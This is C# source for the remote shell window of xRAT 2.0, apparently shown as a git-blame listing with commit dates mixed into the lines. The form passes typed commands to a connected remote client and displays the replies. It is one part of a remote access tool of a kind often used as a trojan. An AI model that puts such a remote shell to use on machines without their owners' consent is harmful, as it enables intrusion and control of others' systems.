2015-01-27 22:56:52 +00:00
|
|
|
|
using System;
|
|
|
|
|
using System.Windows.Forms;
|
|
|
|
|
using xServer.Core;
|
2015-05-27 18:46:10 +00:00
|
|
|
|
using System.Drawing;
|
2015-06-05 21:07:37 +00:00
|
|
|
|
using xServer.Core.Networking;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
|
|
|
|
namespace xServer.Forms
|
|
|
|
|
{
|
2015-05-27 18:46:10 +00:00
|
|
|
|
public interface IRemoteShell
|
|
|
|
|
{
|
|
|
|
|
void PrintMessage(string message);
|
|
|
|
|
void PrintError(string errorMessage);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public partial class FrmRemoteShell : Form, IRemoteShell
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
|
|
|
|
private readonly Client _connectClient;
|
|
|
|
|
|
|
|
|
|
public FrmRemoteShell(Client c)
|
|
|
|
|
{
|
|
|
|
|
_connectClient = c;
|
|
|
|
|
_connectClient.Value.FrmRs = this;
|
|
|
|
|
|
|
|
|
|
InitializeComponent();
|
|
|
|
|
|
2015-05-27 18:46:10 +00:00
|
|
|
|
txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine);
|
|
|
|
|
}
|
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
private void FrmRemoteShell_Load(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-05-27 20:46:07 +00:00
|
|
|
|
this.DoubleBuffered = true;
|
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
if (_connectClient != null)
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Remote Shell [{0}:{1}]",
|
|
|
|
|
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
new Core.Packets.ServerPackets.ShellCommand("exit").Execute(_connectClient);
|
|
|
|
|
if (_connectClient.Value != null)
|
|
|
|
|
_connectClient.Value.FrmRs = null;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtConsoleOutput_TextChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
txtConsoleOutput.SelectionStart = txtConsoleOutput.TextLength;
|
|
|
|
|
txtConsoleOutput.ScrollToCaret();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim()))
|
|
|
|
|
{
|
2015-05-27 20:46:07 +00:00
|
|
|
|
string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' ');
|
2015-01-27 22:56:52 +00:00
|
|
|
|
txtConsoleInput.Text = string.Empty;
|
|
|
|
|
|
2015-05-27 19:11:44 +00:00
|
|
|
|
// Split based on the space key.
|
|
|
|
|
string[] splitSpaceInput = input.Split(' ');
|
|
|
|
|
// Split based on the null key.
|
|
|
|
|
string[] splitNullInput = input.Split(' ');
|
|
|
|
|
|
2015-05-27 18:56:06 +00:00
|
|
|
|
// We have an exit command.
|
2015-05-27 20:46:07 +00:00
|
|
|
|
if (input == "exit" ||
|
|
|
|
|
((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") ||
|
|
|
|
|
((splitNullInput.Length > 0) && splitNullInput[0] == "exit"))
|
2015-05-27 06:54:12 +00:00
|
|
|
|
{
|
|
|
|
|
this.Close();
|
|
|
|
|
}
|
|
|
|
|
else
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-05-27 06:54:12 +00:00
|
|
|
|
switch (input)
|
|
|
|
|
{
|
|
|
|
|
case "cls":
|
|
|
|
|
txtConsoleOutput.Text = string.Empty;
|
|
|
|
|
break;
|
|
|
|
|
default:
|
|
|
|
|
new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient);
|
|
|
|
|
break;
|
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
e.Handled = true;
|
|
|
|
|
e.SuppressKeyPress = true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e)
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (e.KeyChar != (char) 2)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
|
|
|
|
txtConsoleInput.Text += e.KeyChar.ToString();
|
|
|
|
|
txtConsoleInput.Focus();
|
|
|
|
|
txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength;
|
|
|
|
|
txtConsoleInput.ScrollToCaret();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-05-29 21:34:57 +00:00
|
|
|
|
|
|
|
|
|
public void PrintMessage(string message)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
txtConsoleOutput.Invoke((MethodInvoker)delegate
|
|
|
|
|
{
|
|
|
|
|
txtConsoleOutput.AppendText(message);
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
catch (InvalidOperationException)
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show(
|
|
|
|
|
string.Format(
|
|
|
|
|
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
|
|
|
|
|
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public void PrintError(string errorMessage)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
txtConsoleOutput.Invoke((MethodInvoker)delegate
|
|
|
|
|
{
|
|
|
|
|
txtConsoleOutput.SelectionColor = Color.Red;
|
|
|
|
|
txtConsoleOutput.AppendText(errorMessage);
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
catch (InvalidOperationException)
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show(
|
|
|
|
|
string.Format(
|
|
|
|
|
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
|
|
|
|
|
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|